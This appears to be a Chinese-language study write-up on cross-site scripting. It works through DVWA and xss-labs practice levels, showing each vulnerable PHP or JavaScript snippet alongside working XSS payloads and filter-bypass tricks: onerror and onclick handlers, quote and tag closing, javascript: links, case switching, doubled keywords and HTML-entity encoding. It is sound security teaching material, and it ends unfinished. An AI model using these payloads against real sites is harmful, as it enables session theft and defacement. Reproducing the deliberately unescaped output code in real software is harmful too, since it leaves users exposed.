XSS攻击
xss全称Cross Site Scripting跨站脚本
什么是xss攻击?
一个前端的html是这样写的:
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>testXSS</title>
</head>
<body>
<form action="index.php" method="get">
<input type="text" name="xss_input">
<input type="submit">
</form>
</body>
</html>
作用是提交一个表单,填写的text以xss_input句柄,使用get方法传递给后端index.php
index.php
后端是这样写的
<?php
$xss=$_GET['xss_input'];
echo "input is ".$xss;
作用是将前端传过来的text回显
比如前端text框里写123则回显input is 123 到html页面
但是,text框里没有限定能够写啥,可以写123,也可以写abc,更可以写javascript脚本.
并且如果写入可执行的js脚本,则会被浏览器执行
比如写<script>alert("helloworld")</script> ,点击submit之后
发现js脚本运行了
如果想通过写入js脚本跳转到其他网页?
<script>window.location.href = 'http://baidu.com'</script>
点击之后会跳转到baidu.com
为什么以能够执行js脚本为标准判断是否存在xss漏洞?
或者说通过执行js脚本可以干啥?
啥都可以干.
比如存储式xss攻击中,攻击者可以在一个大家都可以看到的消息处写一个xss攻击.导致每个能够看到该位置的用户浏览器都会自动执行攻击者输入的脚本
由于<script>这中间可以写任意长的js脚本</script> ,攻击者完全可以写一个脚本程序获取用户的信息,然后将信息发往自己能够接收的位置
反射型
DVWA靶场 low等级xss(Reflected)
后端代码:
<?php
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
第5行只是判断了前端有没有通过get传过一个name变量来,并且name变量是否为空,没有过滤name的内容,是存在xss漏洞的
xss-labs level1
注意"payload的长度:4",观察域名中的get请求,name=test,其中test正好长度为4,改成12345
那么可以判定回显位置有"欢迎用户"和"payload的长度"
将name值改写为xss攻击语句
存储型
存储型的意思是通过将不合法的输入上传到服务端数据库,使得每次打开相应页面都会遭到xss攻击
DVWA靶场low等级Xss(stored)
这里message框里写入xss攻击代码
然后sign guestbook会立刻弹出警告框,并且可以看到表单下方已经存在了一条Name=1的记录,其Message为空
然后更换到其他靶场再换回Xss(stored)靶场仍然会弹出该警告框,即xss攻击是持久性的,如果后端不主动删除数据库中恶意的记录,xss攻击将会永远存在
后端代码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
}
?>
DOM型
DVWA靶场low等级Xss(dom)
选一个英语然后点击Select,域名行会变成:
http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English
根据反射型xss的情况,猜测default=English这里English有问题,将Englist改成xss语句
http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<script>alert(0)</script>
发现成功了
查看前端代码
<div class="vulnerable_code_area">
<p>Please choose a language:</p>
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
</div>
分析这个选择框都有什么行为?
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document
每个载入浏览器的 HTML 文档都会成为 Document 对象。
Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。
location
Document.location 是一个只读属性,返回一个 Location 对象,包含有文档的 URL 相关的信息,并提供了改变该 URL 和加载其他 URL 的方法。
那么document.location.href.indexOf("default=") >= 0 的作用是判断url中是否存在"default="字样
如果存在则执行if语句中的逻辑:
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
default=正好长度为8,那么 lang就是url中default=之后的字串
substring的参数有两个,起始位置和字串长度,如果只指定起始位置,缺省子串长度,则取从起始位置到末尾的所有内容作为字串
可以认为lang取的是键值对中的值
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
option标签是配合select标签使用的,select表明下拉框,每一个option是下拉框中的一个选项
decodeURI的作用是将转码之后的URI再还原.
比如default=<script>alert(0)</script> 转码后:default=%3Cscript%3Ealert(0)%3C/script%3E
对转码后的字符串使用decodeURI可以回到default=<script>alert(0)</script>
document.write("<option value='' disabled='disabled'>----</option>");
该条选项只能显示不能被选择(disabled),显示内容是四个横线,起分割线的作用
综上,前端的作用是显示一个选项框,当我们首次到达该页面,没有做任何选择的时候,
URL中没有default=…的字样,if条件不成立,下拉框只会顺次显示English,Franch,Spanish,German四个选项
当我们选择某个选项比如English之后URL中就有default=English字样了
此时if判断正确,会多给两个选项,其一是URL中的值English,其二是不可选的选项分割线----,然后顺次打印刚才的四个选项
到此前端的逻辑分析完毕
考虑dom型xss攻击和反射型xss攻击的区别?
感觉本质上相同,都是通过修改表单发生的,
不过反射型有时表单是可以随意输入text的文本框,直接输入xss攻击语句即可
dom型有时没有text文本框,并且看似只有固定的选项,不能自由输入xss攻击语句,但是通过域名行修改get表单或者抓包修改post表单仍然可以传入xss攻击语句
绕过方法
使用事件
DVWA靶场medium等级Xss(Reflected)
发现直接将name的值改为xss语句是行不通的, 尝试将alert函数改为prompt等等其他函数也是不可以的
观察回显Hello alert(0),推测后端过滤掉了<script></script> 标签,可以用dom事件处理函数执行js脚本,比如onerror
onerror的作用是某个dom组件加载失败后执行onerror句柄指向的函数,比如:
<img src=1 onerror=alert(0)>
作用是加载一张图片,其位置是1(显然是个莫须有的位置),如果发生错误则执行alert(0)
成功绕过
查看后端代码:
<?php
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
echo "<pre>Hello ${name}</pre>";
}
?>
发现后端确实过滤了<script>
闭合标签
xss-labs靶场level2
直接在text框中输入<script>alert(0)</script> 发现没有被执行而是整个被当作字符串打印了,
查看前端代码:
<form action=level2.php method=GET>
<input name=keyword value="<script>alert(0)<script>">
<input type=submit name=submit value="搜索"/>
</form>
发现第二行value的值自动带上了双引号,我们可以办一些手续让双引号不起作用
首先这个双引号是前端带上的还是后端带上的呢?
input标签中value属性的作用是为输入框设置初始值,比如
value值带上双引号肯定是level2.php中实现的
此时我们不知道后端是如何实现的,用课程上学习的闭合标签进行忙猜
"><img src=0 onerror=alert(0)>
'><img src=0 onerror=alert(0)>
结果成功了
接下来我们需要看一看后端干了什么,或者说怎么根据后端的吃相套路他
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo
"<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".
'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
根据回显"<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".
这个回显中htmlspecialchars函数起到了作用,没有在该行出现xss漏洞.
但是后面的回显<input name=keyword value="'.$str.'"> 这里就有问题了,直接将" '.$str.' " 拼在一起来显示,自然可以办一些手续把$str 从引号堆里救出来让他发挥作用
我一开始认为:
(一开始的认为并不是闭合标签)
注意最左边有个双引号,如果$str="balabala ,那么这里就变成"'." balabala .'" 最左侧两个双引号闭合了,单引号和点号都成了字符串,此时如果balabala中有命令就会执行了.
但是事实上没有执行
为什么呢?
再看这句<input name=keyword value="'.$str.'"> ,即使把$str 从引号堆里就出来,但是它仍然是input标签中的错误值(value 有了'. 作为值,但是$str'" 是连键都没有值),不会被执行.
要把$str从标签中救出来(其实也有在标签内部的方法,level3就用到了,在level2先使用闭合标签的方法)
要把$str从标签中救出来,就需要让他前面的input标签闭合.
如果直接输入>balabala ,这不会被当成闭合标签,因为>balabala 仍然被引号包围.
也就是说首先要把>balabala 从引号中救出来,然后把balabala 从标签中救出来
这样推理,写">balabala 就可以救两次了
我们写入"><script>alert(0)</script>
(这里balabala=<script>alert(0)</script> )
成功了
闭合引号,绕过htmlspecialchars()函数
xss-labs靶场level3
在这个靶场上用尽我学过的那一丁点知识也没解出来,看了看后端代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo
"<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".
"<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
hjh两个回显位置都给用了htmlspecialchars函数,看来必须要和这个函数打交道了.
php手册资料
htmlspecialchars(
string $string,
int $flags = ENT_COMPAT | ENT_HTML401,
string $encoding = ini_get("default_charset"),
bool $double_encode = true
): string
执行转换
字符 替换后
& (& 符号) &
" (双引号) ",除非设置了 ENT_NOQUOTES
' (单引号) 设置了 ENT_QUOTES 后, ' (如果是 ENT_HTML401) ,或者 ' (如果是 ENT_XML1、 ENT_XHTML 或ENT_HTML5)。
< (小于) <
> (大于) >
常量名称 | 描述 |
---|
ENT_COMPAT | 会转换双引号,不转换单引号。 | ENT_QUOTES | 既转换双引号也转换单引号。 | ENT_NOQUOTES | 单/双引号都不转换 | ENT_IGNORE | 静默丢弃无效的代码单元序列,而不是返回空字符串。 不建议使用此标记, 因为它? 可能有安全影响。 | ENT_SUBSTITUTE | 替换无效的代码单元序列为 Unicode 代替符(Replacement Character), U+FFFD (UTF-8) 或者 � (其他),而不是返回空字符串。 | ENT_DISALLOWED | 为文档的无效代码点替换为 Unicode 代替符(Replacement Character): U+FFFD (UTF-8),或 �(其他),而不是把它们留在原处。 比如以下情况下就很有用:要保证 XML 文档嵌入额外内容时格式合法。 | ENT_HTML401 | 以 HTML 4.01 处理代码。 | ENT_XML1 | 以 XML 1 处理代码。 | ENT_XHTML | 以 XHTML 处理代码。 | ENT_HTML5 | 以 HTML 5 处理代码。 |
既然不让我们用尖括号了,那么闭合标签是不可能的了,我们需要在标签内部完成事件处理
注意到缺省参数时不转化单引号,小括号,并且
在level2.php中:<input name=keyword value="'.$str.'">
在level3.php中:<input name=keyword value='".htmlspecialchars($str)."'>
两个value的值中引号不同,level2中双引号在外,level3中单引号在外,
这表明使用单引号做到引号闭合仍然是可行的
如果$str='onclick='alert(0) 那么
<input name=keyword value='".htmlspecialchars($str)."'> 就变成了
<input name=keyword value='' onclick='alert(0)'>
注意".htmlspecialchars($str).“这两边的”"是php字符串的意思,并不显示在前端.
最内引号是php字符串,最内引号是php字符串,最内层引号是php字符串
最外层双括号是php字符串的表示,打印到前端时去掉
键 | 值 |
---|
name | keykword | value | | onclick | alert(0) |
那么在我们下一次点击该输入框时就会触发οnclick='alert(0)'弹窗警告
xss-labs靶场level4
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo
"<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".
'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
我们希望在<input name=keyword value="'.$str3.'"> 这里做一些手续
这里$str3 是输入去掉所有尖括号得到的,没有经过htmlspecialchars等函数的处理,那么通过闭合引号应该可以做到
注意到外层是双引号,内层php字符串使用的是单引号,那么我们只需要考虑闭合双引号
"onclick="alert(0)
如此前端就成了:
<input name=keyword value=""onclick="alert(0)">
绕过对script 和on 的替换
xss-labs靶场level5
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo
"<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".
'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
这里后端的防范措施比level4中好点,
把on替换掉的作用是事件处理函数比如onclick,onmouseover 等不让用了,
把<script 替换掉是不让用<script>balabala</script> 了
我一开始的思路是寻找html中有没有其他能够调用js脚本的方法
结果真的找到了,这位兄弟的博客
<a href="javascript:balabala">
在本题中由于尖括号不受限制,可以使用闭合标签,
对于<input name=keyword value="'.$str3.'"> 要考虑闭合引号和闭合标签
$str3="><a href="javascript:alert(0)">balabala</a
注意这里javascript中也有script但是前面没有尖括号,所以不会匹配<script这个模式
这样写的话返回前端是这样的:
<input name=keyword value=""><a href="javascript:alert(0)">link</a">
最后面这个</a"> 标签是不规范的,但是竟然可以用
但是为什么要<a href="javascript:balabala"> 这样写呢?href的值里面为啥要带上javascript:字样
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title >Title</title>
</head>
<body>
<a href="alert(0)">link</a>
<a href="javascript:alert(0)">link</a>
</body>
</html>
经过实验,第一个链接点击之后会跳转404not found页面
第二个链接点击之后会弹窗警告
为啥会这样?知乎上的回答:
大小写绕过
修改xss-labs靶场level5
level5中$str = strtolower($_GET["keyword"]); 为什么无缘无故把输入全转为小写?考虑可能是有大小写绕过
现在我们把level5.php中的$str = strtolower($_GET["keyword"]); 改成$str = $_GET["keyword"]; 然后试验是否可以大小写绕过
<script和on都会被替换,那么<SCRIPT和ON都不会被替换
实验证明确实有效
xss-labs靶场level6
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo
"<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".
'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
真是按下葫芦浮起瓢,这里把href,on,src,data,<script都替换了,但是忘了大写改小写
双写绕过
xss-labs靶场level7
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo
"<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".
'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
这里后端吸取了前面的教训,大写改小写,替换都注意了,但是替换的方式不对,比如如果输入oonn,那么模式匹配里里面的on并替换成啥也没有,那么oonn就成了on,同理输入sscriptcript--->s(script)cript--->script .
也就是说,替换只会执行一次,不会对替换完成之后的字符串再次替换.并且恰好替换内容是啥也没有,但凡替换成一个空格也不至于双写绕过
HTML实体绕过
xss-labs靶场level8
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo
'<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
在添加友链框里输入http://baidu.com 点击添加友情链接之后点击友情链接可以跳转到百度,
尝试使用"伪协议"javascript:声明使用脚本,但是后端将script替换掉了,查阅网上资料说是要用html实体绕过
在hackbar中输入javascript:alert(0)然后选中javascript高亮
XSS下拉框中选择HTML Characters然后变成了
javascript:alert(0)
把这个复制粘贴到友链框里就可以绕过替换了
未完待续
|